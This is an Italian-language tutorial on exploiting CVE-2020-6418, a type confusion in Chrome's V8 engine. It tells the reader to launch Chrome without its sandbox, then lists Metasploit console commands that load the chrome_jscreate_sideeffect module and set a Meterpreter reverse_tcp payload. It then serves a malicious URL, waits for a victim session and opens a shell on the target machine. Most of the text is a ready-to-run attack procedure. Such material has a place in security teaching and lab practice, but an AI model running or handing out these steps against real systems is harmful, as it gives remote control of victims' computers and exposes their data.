
Exploit per CVE-2020-6418, una confusione di tipo in V8, che consente l'esecuzione remota di codice tramite una pagina HTML appositamente creata. Utilizza Metasploit per consegnare un payload di reverse shell.
Il CVE 2020-6418 riguarda la confusione di tipo in V8 in Google Chrome. Le versioni interessate erano precedenti alla 80.0.3987.122. La vulnerabilità viene sfruttata da un attaccante remoto che accede alla shell di un dispositivo target tramite una pagina HTML appositamente creata.
Nota : Il browser Google Chrome deve essere eseguito senza sandbox affinché l'exploit abbia successo.
i) Creare un collegamento per Google Chrome
ii) Fare clic su Proprietà > andare all'opzione chiamata "Destinazione"
iii) Alla fine del file EXE, dare uno spazio e inserire -no-sandbox
iv) Fare clic su Applica > Ok
v) Aprire un nuovo browser Google Chrome e si vedrà un pop-up con il seguente messaggio.
You are using an unsupported command-line flag: -no-sandbox. Stability ans security will suffer
Poiché stiamo usando Kali come ambiente per eseguire l'exploit, Metasploit viene fornito come strumento integrato nella distribuzione. Ma se si utilizzano altre distribuzioni, è necessario configurare Metasploit prima di iniziare l'exploit.
Fare riferimento all'installazione di Metasploit per ulteriori chiarimenti.
i) Avviare il framework Metasploit
> msfconsole
ii) Trovare l'exploit
> search chrome_js
iii) Utilizzare l'exploit disponibile dall'output precedente
> Use exploit/multi/browser/chrome_jscreate_sideeffect
iv) Fornire l'indirizzo IP SRVHOST
> set SRVHOST <ip address>
v) Fornire il Target Qui abbiamo due opzioni
> set Target " Numero "
vi) Fornire il Payload
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
vii) Per controllare le impostazioni e le opzioni correnti abilitate.
> show options
viii) Per eseguire l'exploit
> run (or) > exploit
ix) Verrà fornito un URL che deve essere copiato nel browser per attivare la sessione.
x) Una volta che l'utente accede all'URL, verrà creata una sessione. Per verificarlo
> show sessions
xi) Utilizzando la sessione, possiamo controllare le informazioni di sistema dell'utente / entrare nella shell.
> sessions <numero>
> shell